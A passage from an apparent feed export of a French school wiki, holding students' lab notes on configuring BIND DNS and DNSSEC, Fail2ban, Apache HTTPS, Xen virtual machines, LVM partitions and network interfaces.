	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier rs7.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 100&lt;br /&gt;
&lt;br /&gt;
@	IN	SOA	ns.wahran.online.	postmaster.wahran.online. (&lt;br /&gt;
	3600	; Version&lt;br /&gt;
	21600	; Refresh secondary	(6h)&lt;br /&gt;
	3600	; Retry secondary	(1h)&lt;br /&gt;
	2592000	; Expire if no refresh	(30 jours)&lt;br /&gt;
	86400	; Negative cache	(24h)&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
; Enregistrements des serveurs de noms&lt;br /&gt;
@	IN	NS	ns.wahran.online.&lt;br /&gt;
@	IN	NS	ns2.alloco.online.&lt;br /&gt;
&lt;br /&gt;
; Enregistrements AAAA (IPv6)&lt;br /&gt;
ns	IN AAAA		2001:660:4401:60a0:216:3eff:fe32:8fa2&lt;br /&gt;
&lt;br /&gt;
: Enregistrements A (IPv4)&lt;br /&gt;
ns	IN A		193.48.57.164&lt;br /&gt;
&lt;br /&gt;
; Enregistrements CNAME&lt;br /&gt;
www	IN CNAME	wahran.online&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/wahran.online# named-checkzone wahran.zone wahran.zone &lt;br /&gt;
zone wahran.zone/IN: loaded serial 3601&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker. Comme le montre cet capture d'écran, la propagation est bien effective dans la zone de Lille avec une adresse IPv6 :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS_Lille.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# ls /etc/bind/keys&lt;br /&gt;
Kwahran.online.+013+17231.key	   Kwahran.online.+013+62188.key&lt;br /&gt;
Kwahran.online.+013+17231.private  Kwahran.online.+013+62188.private&lt;br /&gt;
Kwahran.online.+013+17231.state    Kwahran.online.+013+62188.state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de rs7.online.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Fail2Ban=&lt;br /&gt;
Nous pouvons implémenter une fonctionnalité pour sécuriser notre VM : bannir une IP après plusieurs tentative de connexions ssh raté.&lt;br /&gt;
dans /etc/fail2ban/jail.local nous ajoutons ces options:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enable	= true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter	= sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après 5 tentative de ssh échouée, l'IP en question sera banni 10 minutes:&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/rs7.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/rs7.online.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/sites-available/000-wahran.online-ssl.conf &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        Redirect permanent / https://ns.wahran.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        ServerAlias wahran.online&lt;br /&gt;
        DocumentRoot /var/www/wahran.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/wahran.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/myserver.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lorsque l'on se rend sur h, nous somme redirigé vers .&lt;br /&gt;
&lt;br /&gt;
==Configuration DNS avec DNSSEC==&lt;br /&gt;
Pour la gestion des DNS de mon domaine, j'ai configuré le fichier `/etc/bind/named.conf.local` pour ajouter la zone DNS de `wahran.online` avec une politique DNSSEC, ce qui renforce la sécurité de la gestion de mes enregistrements DNS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/bind/named.conf.local&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02; //IPv6 Proxy&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
masters &amp;quot;hiddensecondaries&amp;quot;{&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;alloco.online&amp;quot;{&lt;br /&gt;
	type slave;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/alloco.online&amp;quot;;&lt;br /&gt;
	masters{2001:660:4401:60a0:216:3eff:fe81:abfe;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12102</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12102"/>
		<updated>2026-02-07T17:28:23Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Configuration du résolveur */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv6|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search rs7.online&lt;br /&gt;
nameserver 192.168.7.2&lt;br /&gt;
nameserver 192.168.7.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
